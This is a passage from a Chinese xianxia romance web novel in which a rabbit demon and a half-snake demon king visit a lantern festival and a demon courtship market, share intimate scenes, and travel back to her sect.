“听说变形市集上很是有趣,有好多的妖比拼化形。” 又有鸟妖拿出一盏灯,以血点亮:“这是本族血脉点亮的灵灯,如今,凡入妖王城的妖都会点亮这样一盏灯,或提或挂,代表血脉各异,星辰同天,皆愿为妖王驱使。” “不止如此,还有擅灵匠的妖族欲迁入妖王城,这几日每日街头都有花妖在调香,灵蛛在织锦……” 玉扶听得双眼冒光,青鸟却又提到了玉扶:“这些也有大王的功劳,若不是大王,主君定然还忙着征战。” “也都因大王,主君脾气都好了许多。” 这一点得到了众妖的一致认可。 继而小鸟妖们一齐看向玉扶:“大王不如邀请主君一起出去逛逛吧。” 玉扶唇瓣微张,脸颊发红,还沉浸在一通夸奖中,对她们的提议想都没想就点头道:“好啊。” 小鸟妖们发笑,又推着她往殿内走,将她的发重新拆了挽过。 望着镜子中的自己,装点下,稚气更褪,白玉般面颊,明明分外干净,却隐有艳光浮现。 她看了看了小鸟妖们,又看了看蛛娘,好像懂了,这些妖们分明就是趁着热闹,又将她与半妖凑在一起。 当然,她也不讨厌就是了—— 第86章 玉扶被推着出了门。 身上环佩与铃铛一阵轻响。 分明是一起的双修, 但半妖显然比她早醒了好几日,也是这几日,就有了好多的变化。 他的风评好像都好了不少。 这次妖王并不在他的冷静室, 而是在主殿,门吱呀推开, 玉扶小半脑袋探入看了一眼, 满殿灯座明亮, 半妖低头静思, 手中不知在捏着什么, 只露出了一小段血色。 玉扶身子也挤入门内,轻手轻脚地准备吓半妖一跳。 然而她头上的铃铛响了,半妖掀眼看来, 唇角漾开笑意。 既然被发现, 玉扶也便光明正大地背手走向他,近前时,身子前倾地往他手上看:“你在看什么?” 半妖摊开手。 玉扶惊讶无比:“这是我送你的发带。” 纵然残缺,也纵然满是血污, 可出于自己手的东西, 玉扶还是认识的。 半妖拉了玉扶一把, 将她整个人旋身拉入怀中,下巴搁在她肩上,嗓音缓缓:“阿扶, 我好像想起了不少事。” “我的记忆中有宗门有人修,我似乎与人修多有联系。” “多谢你, 没有令我铸成大错。” 玉扶扭了下身,与他面对面:“你就只想起这些吗?没有想起与我相关的吗?” “自然有。” “我想起,你很怕我。”半妖颇有些气愤地咬了咬玉扶的面皮。 玉扶翻了个白眼, 光听他这样说,她就知晓,半妖根本就想起的不太多,或者说,他想起来的部分非常混乱。 可能连他自己都很难相信,他一体竟能分出两个截然不同的意识。 玉扶并不想去特意提醒,等他神魂慢慢恢复了自然便会想起来,且到那时,他的神魂也会更加圆融自然。 若是现在提醒,她几乎可想半妖会对她抛出什么死亡问题,譬如,你希望谁的存在多一些?你喜爱谁多一点? 玉扶想得一阵恶寒,从他身上起来,邀请道:“我听蛛娘说妖王城近日非常热闹,你与我出去走走吧。” 半妖微低头看伸在面前的手,脑中不经意地又闪过一画面,少女使气地与他道“你都从来没有陪我逛过热闹的地方!” 其实不说想不起的以往,就只是重新认识以来,他与玉扶,所处地方,几乎没有离开过妖王宫,这个意识,令他颇生出些危机感,如果不令活泼的小兔一直保有新鲜感,他比不上以前的他,被抛弃了怎么办? 他当即收起残破的发带,牵手玉扶。 妖王城外确实热闹,多了许多的妖,还多了不少的市集与活动。 见过妖王英姿的妖实在太多,甫一入了外城,玉扶就掏出了个面具罩到了半妖的面上。 半边的蛇形金属面具,遮住了鼻梁与整个右上半张脸,黑色的皮革带交叉从另半张脸的额上向后束。 非常野性的面具。 蛛娘想到了妖王的瞩目,特意给玉扶备的,可是,她怎么看,都觉得有哪里不和谐。 终于,玉扶发现了哪里不和谐,面具过于野性,半妖过于保守,他的衣襟都不往下v了。 玉扶帮他扒开一点,露出更多的妖纹部分。 半妖软靠墙面,抓住玉扶扒衣的手:“阿扶,你想要的话,这里妖是不是多了一些?” 只见来来往往的妖,或多或少地扫来视线,还有女妖驻足,见他们不继续,还催促,“兔妖,再替小哥敞开一些呀!” “莫小气。” 妖嘛,就是这样的,好多大方的很,这些喊声的男伴们,还有赤着半身的。 不过玉扶就是小气,突然就不扒拉了,拉着半妖混入了妖群当中。 妖群如织,个个手中都点着一盏灯,其内颜色许是种族的不同,跳跃的光彩也不同。 玉扶心痒,寻到了一售卖空芯灵灯的小妖跟前,各式灵灯挂满了木架。 须臾她就选中了与她相合的兔子灯,往里点入一滴血燃起,她的光竟是雪白的,玉扶迫不及待地去看息尘,用眼催促他赶紧也挑一盏点亮。 然快过半妖选择地,玉扶一眼看中了微蜷的蛇形灯:“要那盏!” 她手指,立即点了那盏。 盈笑地送到给半妖,亮晶晶的眼眸盯着灵灯亮起。 蓝色的火焰,跳动得颇为嚣张,蜷曲的灯形都动了动。 玉扶的灯盏竟被吸引得靠近,继而,合到了一处。 形状很是一言难尽。 玉扶:“好像裹着糖的屎啊。” 尤其是中间发白光,绕着兔子灯的蛇首发着蓝光,很诡异。 两双眼一同看向了售灯的小妖。 售灯小妖大抵也没想会有组合得这样诡异的,想早前售卖的灯盏,多组合成“狐狸抱月”、“如鱼得水”等等,这蛇卷小兔虽然少见了点,可也不至于说成裹着糖的屎吧? 尴尬笑道:“二位想来是情缘正浓,灯火这才相吸。” “不如我给二位稍做一些调整?” 已经这么丑了,玉扶也不认为再改还能丑,遂点了头。 小妖手指灵巧,几下掰动蛇灯,从尾部用术法加长了灯芯的长度,又在兔子灯外编了个球形的骨架,调整蛇尾对球形的支撑,蛇首变为有些分离的守护状。 霎时,整个蛇灯从蛇首亮到蛇尾,其内球形骨架中的兔子灯也缓慢旋转地发着柔和白光。 简直鬼斧神工般地从裹着糖的屎变成了威武的蛇盘滚球。 玉扶喜爱地提着。 半妖从后给了灵石售灯小妖,自然得就好像曾做过许多次。 小妖呼出一口气地送走二妖,可吓死妖了,那蛇妖的眼神简直像是要掀了他的摊。 但也就多目送了一会,只见二妖很快地又停在了下一个摊位上,少女弯着身地低头看,男子肩宽腰瘦,身形挺拔地立于少女身后,隔开如织妖群。 重重灯火将他们映得犹如玉人般相配,那冷硬的面具竟都显出柔润的温和来。 玉扶在摊位上看了一会,就将灵灯递给了半妖提着,兀自蹲下身,与摊主要了好几段织锦,恰是时,一阵不同寻常的尖啸自不远处响起。 抬眼望去,竟见不得内里发生了什么,层层妖群围得水泄不通。 那尖啸显然从妖群中传出,不是发生意外,而是带着些兴奋与激动,玉扶好奇得很,不住地踮脚蹦跶。 半妖单手将玉扶抱起,有点像是在抱小孩那种抱,玉扶脸蛋微红,双臂却下意识抱住了半妖的脖颈,这下,一眼可望是什么热闹,霎时激动得拍半妖的肩:“是鸟妖们说的变形市集!” 玉扶跳下怀抱,仗着体型的优势往里挤,半妖就完全是仗着力量压迫让想骂的妖闭了嘴,颇为轻松地跟在了玉扶身后,甚至因为他的淫威,玉扶向前挤得越发轻松,轻而易举挤到了前头。 妖的化形自来就是千奇百怪的,有能力不足原因的,也有舍不得自豪的某一部位,总之,在变形市集上,玉扶更是见识到了多样性,男妖女妖皆有。 灵藤族少年身形修长,衣饰犹如贴身翡翠,背部袒露肌肤温润中透出极淡的青色脉络,春水绿的眼眸,扫向在场某个妖族时,从身上延伸出的藤蔓竟开出了幽香的花苞。 又有狮族身高超过两米,每一块肌肉都爆炸似的呈现健康的淡金,仿佛阳光落下的痕迹,胸肌与腹肌往下,只覆着一层金色的绒毛,腿边还有留着毛簇的尾巴在扫动 玉扶还想细看,被半妖遮住了眼:“阿扶,我也有尾巴。” “我也可以晒黑。” “他们是在求偶,你知道吗?” 玉扶干干吞咽了一下,极能感受半妖骤然坏起来的气势,充满着霸道、威慑、还有不爽快,若早知这里头是这样不要脸,一堆上场连衣服都不好好穿的妖,他根本不会带玉扶挤到最前头来。 尤其是还在兴奋的女妖们,带坏了他的小兔怎么办? 他更贴着玉扶耳地道:“阿扶,你喜欢什么,可以看我,我都可以听你的。” 犹想起自己诸多还没收回来的欠债,玉扶心动了又心动,可眼还是有些不舍地从指缝中向外看,这样的妖族狂欢很少见欸。 她拉下半妖的手,凑近地道:“就再看一会,我心里只有你。” “我看他们是为了学习。” 无数灵光下,少女温软无比的恳求,半妖倏然松动了。 他原来是这样心软好说话的吗? 半妖总觉得自己随着神魂的恢复,一些不该存的特质变得有些明显,甚至还有些恶心,妖王需要过多的善良吗? 不需要! 尤其是在见得有留着深灰色狼耳的玄狼求偶到兔妖面前。 玉扶犹未有反应,便被半妖以手摁在怀里,妖息涤荡,顷刻离开了变形市集。 但也因这涤荡开的妖息,不少妖族辨出了妖王,妖群中惊声议论,霎时,狂欢更甚,灵灯一盏盏放飞似的于空中盘旋,祈愿妖王收下他们的效忠。 而此时的玉扶正被半妖卷入了昏暗的小巷中,半妖恼恨地埋在她颈发中亲吻,发上的铃铛被拱得一响一响。 玉扶浑身虚软地背抵着墙,手中还提着重新被塞回的灵灯,灵灯光亮莹莹,照得她的影子也可怜极了地颤。 半晌,半妖抬头,又衔着她唇瓣厮磨地问:“阿扶你都学到了什么?可有学会接受我的妖形?” 第87章 玉扶茫然了一瞬, 仰面说道:“我不是早就不怕你的妖形了吗?” 说完,对上半妖意味深长的眼眸,倏然明白了他的意有所指。 大坏蛇, 满脑子装的比师姐们给的册子还要淫。 他真的有想起自己是人修过吗? 神魂到底恢复到了什么程度? 玉扶突然就想确认一下,踩上半妖脚背地往上勾。 神魂方要挤入, 手臂被半妖扯下, 冒出一半的神魂, 也被指腹压回了脑门。 “阿扶, 你那点修为还是自己多留着吧。” “我可不想哪天干着干着, 你突然变成小兔子。” 坏恹恹的语调,玉扶这下真被激怒了,她早就不是没气力兔妖了, 就算再给他修补几次神魂, 也不会跌到第一次受伤时的程度,顶多就是让出大半圣山那儿来的力量罢了。 舍不得是一回事,被看扁了那就是另一回事。 当即撅着嘴巴要去亲亲,灯盏也跟着二妖绕圈圈似的转。 最后, 半妖抱着腿搭到腰上的玉扶, 呼吸若远若近地互勾着, 放弃了抵抗似的垂下了头。 冰凉的面具触感贴着玉扶,互相敞开的灵海,玉扶一眼见到了他的神魂, 如同裹在一层胶质中的小蛇,裂伤处不再触目, 仿佛受过处理的伤口,在不断地自愈着。 或许有些慢,但状态已不知好了多少, 隐隐的,一些拼凑之处,似也在重新寻找位置,缓缓移位,神魂整体瞧着都好看了不少。 说不得,不久就可以不困于现下的形态了。 玉扶没有急着撤回,神魂柔柔地与小蛇贴了一下。 这种完全相互敞开了的信任,如若交接一般地令人安心舒适,轻易生出更进一步沉浸的渴望。 半妖的心跳快了,眼底红了,少女方探出一点儿舌尖,唇齿便迫不及待地衔住,狂热的撩拨,空气都着了火似的,有东西直直怼在玉扶的腿上。 玉扶忍不住蜷勾了勾脚趾,眼睛睁大,怔愣地感受着半妖起来的反应。 一刹,所有昏巷之外的欢声与笑语都变得无端地令人紧张。 半妖也察觉到了她的紧张,却极坏地继续搂着她,非要看他神魂的兔子,自己送上门的招惹,他岂是好打发的? 越发细致又慢条斯理地轻咬唇瓣,含入舌尖,带动玉扶在这个吻里感到舒适。 灯盏不知何时落地,灯火脱离,从低处向外飞去,慢慢地,越来越多以妖血点燃的灯盏,灯火脱离,向高处飞旋汇聚。 万千交织的颜色,倏然落于玉扶的眼。 玉扶仰着面,微喘阵阵,心底说不出的震撼,只觉今夜真好。 半妖缓缓松开玉扶,唇角又压一下,亲去一点带出的湿润,见她仍沉醉地仰望如星河一般的灯火,便低笑着问:“就这般喜欢?” 玉扶竟一时分不清他问的是亲吻,还是此夜奇景,一同点了点头。 呆兔子! 半妖唇畔笑意更甚地,压了下抬起的轮廓,重新捡起掉落的灵灯,继往里点入妖血燃起新的灯火,牵入玉扶手中。 玉扶接过,反应过来地看半妖,指指天上,又指指他,满是询问。 半妖并不回答,只妖孽地望着玉扶笑,浓得压不住的勾人意味,向她展开臂。 少女几乎没有迟疑,提着灯撞入怀地挽向他臂。 重新走出昏巷,只见满城男妖女妖,有惊异汇成星海的灯火,也有欢呼妖王接纳了他们的归顺,还有纵情妖侣当街拥吻…… 不论种种,仍不断有点燃的灯火汇往天际。 灯如海,妖如流,盛景难得,昼夜狂欢。 玉扶玩累地趴在半妖背上,提着一盏灯聊胜于无地照亮着一点前路:“蛛娘说你又不想娶我了。” 半妖脚步顿了顿。 玉扶:“我觉得她是在骗我。” 半妖赞同点头。 玉扶:“那你是在等想起什么吗?” 玉扶今日玩的很开心,但再开心也没有忽视半妖的变化,他安静了许多,躁痛消去,有点像是息尘回来了,但阿裴的特色也仍留在他身上。 他开始更趋向一个完整又正常的半妖了。 玉扶想象过,如果没有没有那么多意外,半妖也没有割裂成不同的两个意识会是什么样? 她之前想象不太出来,现在却模糊地有了那么点轮廓,应该就有点像现在这样,有时候淡淡的,纵容的,但兴致来了就又坏又凶,一个不爽坏就会掀翻人摊子。 玉扶想得有些乐,窝在半妖的肩后发笑,显然忘记自己笑之前问了什么。 半妖被她笑得后颈发痒,背着她往上颠了颠,步子不再慢悠悠,甫一回到寝殿,就将玉扶扔到了榻上。 玉扶身体陷入柔软的被褥,一道身形随之压下,大手抚着她侧脸,覆着面具的鼻梁若即若离地与她蹭着:“在笑什么?” 凉凉的触感与热得不行的气息撩得玉扶直躲。 那些在昏巷中压下的情-慾似乎都在此刻加倍地卷袭而来。 玉扶摇着头喘了好一会,才从亲热中挣出发红的脸颊:“我觉得你神魂伤势好多了,在开心啊。” 半妖不被玉扶的甜言蜜语迷惑,为她重复:“你分明问我是不是在等想起什么?” “谁让你一开始不让我看你的神魂。”玉扶哼哼:“你还看扁我!” 哼哼完,又忍不住弱弱地抬眼补一句:“那你是在等想起什么吗?” 半妖喉间发出轻蔑的呵声,将玉扶从被褥中整个提起:“阿扶,我不是在等想起什么,而是——” 半妖话说到一半,唇畔带上了轻佻的邪恶弧度。 玉扶慌忙去捂他使坏的手,半妖的身量高,手掌大,手指也修长匀称,骨节明显,几个手指按上去,就完全覆住,何况是又揉又捣。 玉扶拦不住他,眼中水光霎时晕成了湖。 半妖很放松的坐姿圈着玉扶,手中动作如拨弦般,几乎是同时进行地,与玉扶将未尽的话说完,很简短的四个字。 他说:“你不耐!干。” 玉扶瞳孔都霎时放大。 粗俗到了极点,完全想不起这有什么关联。 她的神情太好读懂,半妖低下还未揭去面具的脸,野性又侵略地加了一根手指道:“阿扶,你帮我祛去神魂的灼痛,神魂就缩了一圈。” “可见这功法不实用。” “我瞧得分明,你还有旁的功法。” “我日日慾火一焚身,霪心很重,你那点修为不如留着换一个功法与我互哺。” 他的声音与玉扶的耳尖相贴,气息是灼热的,金属面具又是冰凉的,直将玉扶的兔耳又逼了出来。 半妖满意地看着她面颊连着耳根与纤颈全部漫上绯色,腕下袖摆抖动更剧。 玉扶整个人如琴弦般颤动不休,裙裾下缀着珍珠的云头履都经不住地颤。 “啪”一声,云头履落地,罗袜雪白,纤足清秀,膝弯向上蹭时,罗袜点点向下褪。 半妖忍不住想起蛇尾缠上时,清晰的骨骼,跳动的筋络,还有—— 贴着他肩背高翘时,一忽儿踢,一忽儿勾,又一忽儿一起缠上来,锢不住地需要他从下托。 半妖缓缓抽出手,摸着向下。 玉扶微微睁开眼,挪动着蹭下裙摆,遮住小腿。 被探入的不适其实还在,可她认为,非常有必要与半妖好好理论理论功法与神魂的问题。 她师姐说了,互哺的功法就是我啃你一口,你也啃我一口,修为低的获益更多。 修复功法呢,互不相啃,就像一汪水,养着受伤的神魂。 前者基于神魂,但并不损神魂,重的是修为的共同提升,或者,她小气一些,不反哺也可。 后者,主耗修为,神魂也会相应地虚弱一定时间,但师姐为她挑的已经是损伤最低的功法了。 她都愿意为半妖付出了,他竟然光想着干,不领情! 她挺了挺腰,心底气势鼓得颇足地抬眼,却见半妖眼一直盯着她的脚丫。 罗袜不知何时褪掉的,白嫩脚丫全露在裙摆外。 玉扶平日才不会因为这么一点不遮就害羞,但是一直盯着,好怪啊。 脚趾控制不住地蜷了蜷,往裙下缩。 半妖手掌却猛地握上,还湿润的指腹一点点抹上足背。 握住,揉了揉。 “阿扶,怎这也小?” 并不像是真的在不解,而像是得趣了地比划,一会张开手掌地量,一会托着地把玩。 最后抬起,俯下身亲了亲。 玉扶:“o” 她本就羞得不行,这下脸蛋彻底红透了,要与他的理论都一下忘得干净,不断挣动地呜呜。 她都没洗,他就亲! 他真的真的怎么每一次都能变态得不一样呢? 还有,分明是想等他恢复记忆,罚他啃她脚丫的,怎么就突然这样奇怪了? 不止是这一点,她想当的大王也被曲解成了坐脸。 他的霪心当真是如他自己说的,修复功法都救不了了。 玉扶有一霎绝望,脚丫一翘,踹到了半妖的脸。 半妖吃痛一声,一手高提着地不让她收回,一手掀开了那半张面具。 浓黑的眼,缎浪般的发,衣襟层层松散,妖纹,甚至腰部都可见。 面具随手丢在地,金属的质地,声响“锵”得人心猛地跳,半妖又在吓人了:“阿扶,你踢我?” “摸下也不让?” 玉扶委屈:“我没洗jio。”—— 第88章 不是抗拒, 而是担心不干净。 真是可爱得没边了的小兔。 半妖愣了一下,非常短的一会,就放下了她的脚, 但没松开。 摩挲着挑眉:“洗了就让?” 他真的有一张非常蛊惑的面皮,扬起眉来, 总有种令人面红耳赤的气质。 玉扶完完全全地从他身上学会了欣赏好看的样貌, 也完完全全只会欣赏他的面皮了。 她别过脸去, 说不出拒绝, 轻轻“嗯”了声。 半妖又笑了, 慵懒散漫得浑身都显着他的愉悦,松开手,颇高的身量换了个角度立在玉扶跟前, 抱玉扶就如抱小兽一般地轻巧, 玉扶双手瞬地拥上半妖后颈,搭在半妖臂上的一双小腿也羞涩地微微内收。 半妖步子走得极稳,中间,竟还松了一手地吓玉扶。 这下, 玉扶便从横抱变成了自己挂着, 半妖只用一臂拥抱, 手掌好巧不巧地托在臀处。 不出意外地,捏了。 一下,两下…… 玉扶瓮声提醒:“可以了” 再捏就不礼貌了。 半妖像是听进去了地“唔”一声, 大手又收一下。 玉扶气得拿拳头锤他。 半妖发出舒服的“哈”,空出的一手推开一道门:“阿扶, 你也可以捏我。” 玉扶拳落之处,半妖的衣襟是散开的,嶙峋山脉起伏般的劲瘦线条, 不是没有摸过。 拳变成覆,比缎还好的手感。 玉扶摸了一下,又一下,才觉报复回来一点地去看到了哪。 入目,华丽奢侈的墙饰与地面,中间一个水池,不比冷静室的大,更像个寻常的浴池,玉石铺阶,绒毯覆边,高处冒着热气的泉水汩汩不断地从赤铜兽首中吐出。 还有香扑鼻而来,原是四壁照亮的光烛皆有混入花妖族所调之香。 光是入目其中,玉扶便觉自己以前住的兔子洞寒酸了。 她瞥眼半妖,有点心酸,好早之前,分明是她想带他回家的:“怎么还有这里?” 半妖将玉扶放坐池边绒毯,轻描淡写:“新建的。” 玉扶撅了撅嘴,不用想也知道,一定有同蛛娘一样被压榨的妖了。 赤着的脚丫入水就掀了一阵水花,细浪温泉,泛珠溅玉,无可挑剔的纤足,足背滴水,光下,每一颗脚趾都如玉珠一般晶莹。 半妖突然就跳入了水中,玉扶惊得向池外收腿,然也就一会反应的功夫,玉扶就弯腰伸手,向半妖泼水。 做坏事的笑声,欢快,清脆,甚至还用上了术法,半池子的水都被玉扶的搬山术抬起再兜头向半妖浇下。 继而没有一息停顿地,向外爬着起身跑。 半妖面无表情地抹去面上的水,目光戏谑地从滴水的眼睫下锁向作死的小兔—— 跑得慌张跌撞,裙摆湿透了地贴着小腿肚,皙白若隐若现。 半妖兴味地飞扬起眼尾,没有上岸,而是默数。 不过三数,少女回过了头,漂亮的眸子就像在奇怪他怎么还不追。 半妖与她四目相对,他瞳似点漆,玉扶眼神闪烁,步子开始迟疑。 不一会儿,玉扶提着黏在身上不舒服的裙摆,缓步挪了回来:“我是在同你玩笑。” 半妖:“哦?” 嗓调悠然,目光缱绻,半点瞧不出生气了的模样。 玉扶肯定点头。 半妖又问:“那好玩吗?” 他又妖孽地笑,开始走近池岸。 水波晃荡,淹至腰线的水下轮廓若隐若现,力量极强的腿部线条分水走动中愈发明显。 然则,更令玉扶走不动的是,他好妖啊,湿透了的发,盛如海藻地漂浮在背后,唯些许调皮的,粘在颊靥,贴在胸前。 浑身上下,没有一处不是湿的,也没有一处不写着诱惑,任是手臂胸膛的肌理还是腰线下的弧度,都清晰大方地任由玉扶目光落下。 玉扶低着头地看,直到被抓住了手,也没能再走动一步。 老实地坐下,小腿重新浸入了水,脚丫踩上了结实的胸膛。 雪腮渐绯,看一眼叹一声,叹一声又看一眼,不可控地想起,她第一次见到妖孽一般的阿裴的时候,那还是在镜子里。 彼时,虽然看不清脸,但形容就与现下差不离的引人遐想。 如果没有那一看,她应该早就跑掉了。 才不会像现在这样让他洗脚丫子。 可谁让缘分就是这般的巧妙呢,玉扶快活地翘了翘脚丫,双手捧上半妖的脸:“我想起了一件事。” “你以前特别坏,你想一口吞掉我,用虎口掐我,用结界关我,还逼我给你作跟班!” 半妖被一口气数了好多条罪状,眼皮直跳。 他不怀疑自己能做出这些事,可总觉得哪里还有些不对劲。 他没有说话,等了一会。 玉扶:“你现在也没有好到哪里去,刚见我的时候还要我给你当妖侍!” 终于,半妖听出了点玉扶的意味,配合问:“那兔大王要如何?想欺负回来?” “不够。”玉扶摇头,脚丫踩上半妖的肩:“我要你给我当妖仆。” 嚣张的话,大胆的举动,如果话音不抖,脚丫不差点踩滑下去的话,那还有那么些回事。 怂兔子。 “可以,但今天不行。”半妖玩味一笑,没有迟疑地答应。 他又抓上了玉扶的脚丫,抓着向下滑:“今天还是要听我的。” 玉扶隐约地感觉滑得太下去了些,都要打上招呼了,可是,半妖给她当妖仆,吸引力好大啊。 她犹犹豫豫地轻轻点了头。 之后一切倏然就超出了玉扶的意料,她的脚丫非但没有洗干净,还脏了,后来更是在水里泡得要皱了。 真的很过分。 但半妖到底是拒绝了玉扶帮他恢复神魂的功法:“阿扶,过去是过去,你眼下的是现在的我。” “阿扶,我想你多看看我现在。” “我现在不好吗?” “兔大王,你不是还想做我的主人吗?” …… 水波漾了又漾,玉扶彻底迷醉了。 * 许是没有涉及神魂层面的劳累,玉扶第二日便醒了。 这次,半妖就睡在身侧。 她心中涌起莫名的感觉,格外地甜蜜,就像是领悟了夫妻的意义一般。 手指一点点描摹着他的颌线,额头下倾,又想看一看他的神魂今日有没有更好一点。 半妖的底子确实强悍,分明没再用修复功法帮他,可他的神魂确实又变得更漂亮了一些,重塑了般,都可见鳞片的轮廓了。 玉扶思索地想,一定是他的两个意识重聚得匆忙,没有理顺过,又经夺舍的伤害,还要当妖王,为不崩溃,只能维持着破烂的状态。 那不管怎么样,还是要多亏了她! 玉扶想得开心,半妖的神魂小蛇却已主动地缠了上来,玉扶这才发觉,它不止是好看了,还变大了。 它咬她尾巴! 玉扶的神魂小兔横冲直撞地在半妖的识海中跑,睡着的半妖蔑笑地掀开眼,推开玉扶的额:“阿扶,你很精神?” “我不精神。”玉扶条件反射地躲入被中,她已经不想精神了,准确的说,是不想应付半妖的精神。 他太精神了,总是没完没了。 光是他睁眼的一会儿功夫,她就感觉下头的肌肤被戳了一个小坑。 她发现,自从与半妖重新在一块后,她根本再用不着去压制渡情期的不适,甚至总被超出需要地满足。 此刻,她都能淡定地将它拨开,她已经变得不色了。 至少现在是的。 玉扶面上严肃地板着,心中已将自己的形象想象得往息尘的超然靠近。 半妖简直看乐了,戳了戳她的脸蛋:“兔大王我的主人,你对蛇奴没有什么吩咐吗?” 玉扶:“ !” “大王你忘记了?你昨日哭着叫着,一定让蛇奴等着。” 半妖的姿态并不谄媚,兴味中还带着一点回味。 玉扶却周身过电般,升起各种不自在,想象中的超然根本就不存在,她一下就完全想起来了,昨日闹狠了,半妖将她拖入了水中,她被压趴在池边,他从后面撞上来摸她肚皮。 她被挤得不行,埋头放了好多狠话,大都是:“等你当了我妖仆,我要用鞭子抽你”、“绑起来踩”…… 继而还有更早一些的,半妖答应了要当她的妖仆。 所以,她要翻身了吗? 霎时,玉扶心里就闯入了捣蛋的小蛇般,片刻就冷静不了了,激动得脸颊都红了,脑子不断地冒出了要怎么指使他。 眼见着玉扶从冷淡,变得双眼都在发光,半妖不住哈哈地笑,笑意浓烈得抑不住地窝向玉扶:“阿扶,你可真好懂啊!” “你真是喜爱我。” 他生得华美,妖纹又诡丽性感,一张脸肆笑起来,都宛然朝气明朗了不少。 玉扶呆了好一会,才倏然反应过来,半妖又故意诱她! 她能怎么办,她就是很容易被诱惑啊! 他都那样喊她大王、主人,还问有什么吩咐。 是兔子都会上钩的吧? 玉扶:“你想耍赖吗?” “不,阿扶,”半妖抬起脸看向她,“我很想当兔大王的妖仆。” “我服侍你起身?” 玉扶哼了他一鼻子:“我不要坏蛇当妖仆。” 半妖扬了扬眉,那种充满着坏意,非要做什么的神情又在他面上出现。 玉扶突然就有了不好的预感。 果然,半妖已经兀自进入了妖仆的角色,将她从安全满满的被窝中捞出,开始给她更衣。 每一步都做得细致极了,当着他面地抬臂,转身,又转回来扶着他套上裙子,尤其是穿罗袜时,她坐在榻上,抬脚搭在他膝上,一些不宜的画面就是不受控地冒出来。 都怪坏蛇,她都已经不能直视很多正常的动作了。 一身衣裳换好,玉扶脸蛋熟透一般羞红了。《 》 【全文完结】 第89章 妖王宫已经没有玉扶没去过的地方。 她开始想念自己的兔子窝了。 她给师姐们去过信, 也询问过半妖的意愿。 决定带半妖回合欢宗一趟,顺便与擅神魂研究的师姐再讨些有修补功效的丹药。 除此外,半妖那柄受损的剑也该寻个器修补一补, 不然整日都在嗡嗡嗡地鸣动。 为此,她还特意收了许多妖域独有的炼材与药材之类, 给师姐们的礼物自也没有落下。 一切准备做足, 唯她与半妖出发了。 至于妖王城, 半妖也不见多上心, 随便点了好几个妖将代管, 蛛娘也不知是不是因婚服入了妖王的眼,竟在她不知道的时候,突然就也成了内城的大管家。 当然, 据说已经快备好的婚服, 玉扶至今也没能瞧上一眼。 虽然她也不是很急切啦。 她本质上还是不太懂一些仪式的意义,认为有还是没有似乎都没区别。 每当她这样想的时候,小鸟妖们就会咕咕叨叨地与她说一堆,大意无非是说明有没有仪式是不一样的。 玉扶经常一只耳朵进, 另一只耳朵出。 不过, 离开前, 她还是记得叮嘱小鸟妖们要照料好她的花。 半妖一统妖域后,妖域的变化与改变是明显的,动荡没了, 诸多封闭着当土皇帝的妖城,城主死的死, 顺的顺,以往玉扶见识过的那种以一城供一妖,或者一城供一族的情况都好多了, 许多刚化形的小妖都不会被拒之城外了…… 总之,妖王的存在就像一杆旗,所有妖族会揣摩妖王的心思行事。 半妖也并不怕他离开一段时日妖域就会乱,妖族的慕强惧强是天性,前妖王不算出事之前,就算出事后,只要她已死的消息没有确凿,几大妖族就还没有敢称王的,甚至就连野心都是在前妖王奠定的妖王城基础上开始的抢夺,哪有靠一城城打下来的妖王有魄力? 这都可以算是好的一面,但也有一点麻烦,隔离两界的屏障出现的妖隙也少了。 人修也因为某些原因保持着观望的态度,不再轻易开存两界通道。 玉扶根本不能同往日一般一下子就回到合欢宗,只能先辨别出来的是哪一境,再慢慢地回往合欢宗。 说来也巧,这次出来之处恰是梅江城附近,玉扶都要怀疑是不是半妖故意选定的了,但念头也就一瞬,她便高兴地拉着半妖回忆,是怎么同他遇到的,说着说着又是好一番的旧账,什么不近人情,救了兔子又要扔下兔子。 还与半妖分析,遇到的妖魄定然是从裴琅那儿逃脱的,裴琅吃下太多,又控制不住没被完全炼化的,也就让倒霉的玉扶撞上了。 回忆着回忆着,就又记在半妖的身上。 半妖债多了不愁,一味点头。 一路且行且歇地行路,经行不少城镇,许是曾被半妖关着的人修们都回到修界了,大半年前那种紧张的氛围都消失不见。 取而代之的是非常多的流言。 经常听上一会,玉扶就要与半妖面面相觑地挑眉挤眼一会。 也不知那些回来的修士是怎么宣传的,有道妖王不止夺舍了佛子,还继承了佛子的能力,竟能驱动“芥纳须弥塔”,也有道佛子或许根本没有被夺舍成功,只是被妖类同化了不少,变得有些失心疯,抓人却不吃人,反而非让修一个破传送阵就是最好的证明…… 但大抵是妖域的重新稳定,让诸多修士开始重新估量了若与妖域冲突的值当与否,一些议定竟也就不了了之了。 不过裂痕还是存在的,像玉扶这般本就生活在修界的妖,就有不少脱离了与人修的契约,重新回到妖域的。 一月后,玉扶终于带着半妖回到了南境的合欢宗,甫一入了碧山,她便忍不住地化为了原形,比人高的雪色兔子,犹如山大王一般自由跑动,满山的生灵惊动的惊动,躲起来的躲起来,偶有探出头来与玉扶讲理的,感受到更强大的妖息,又重新缩了头。 只有那种灵智蒙昧又与玉扶玩的好的,热闹地跑出来欢迎,其中有两只刺猬更是打着出来,寻玉扶评理。 玉扶一边听它们吵架,一边将它们身上的果子摘下,一口一个吃完,两只刺猬瞬地架也不吵了,一致对向了玉扶。 玉扶被扎得直往半妖的身后躲。 半妖也被扎了数下,张扬地显出法相虚影,猩红巨口吓得刺猬瑟瑟抱团。 不久,满山传遍了玉扶的坏话,道她带了坏家伙回来,要吃灵兽! 半妖若无其事地收回法相,看向玉扶:“阿扶,你平日就是这样当兔大王的?” 玉扶脸蛋微红:“还好啦。” 半妖嗤一声,犹如主人一般进了玉扶的洞府,洞内温馨,巨大的兔子窝占了大半的空间,墙壁乃至洞顶皆是圆润的弧形,只最角落一堆杂物,瞧着就是不收拾的,什么好的坏的玩厌了的都往同一处抛。 玉扶随着半妖视线望去,着急得想藏,太久没回来她都忘了这一茬了。 然杂物实堆如小山,玉扶的动静反弄巧成拙,不断有杂物滚落。 半妖不知被触了哪一根神经,根本看不下去地开始了收拾。 玉扶也开始忙前忙后地打下手,多是半妖拾起一件,玉扶便拧着眉地想上一会,点头亦或是摇头。 很快,兔子窝外扔了一堆断舍离的杂物。 收拾仍在继续,红裳等人收到消息前来时,远远瞧见样貌华美诡丽大妖襻膊提袖,露出前臂地在晾晒玉扶的仙鹤绒毯,气质异常地圣洁? 这哪里是传闻中的残暴妖王,分明就是任劳任怨的人夫佛子。 万俟兰拉玉扶到一旁:“你这位当真是还失忆着?” 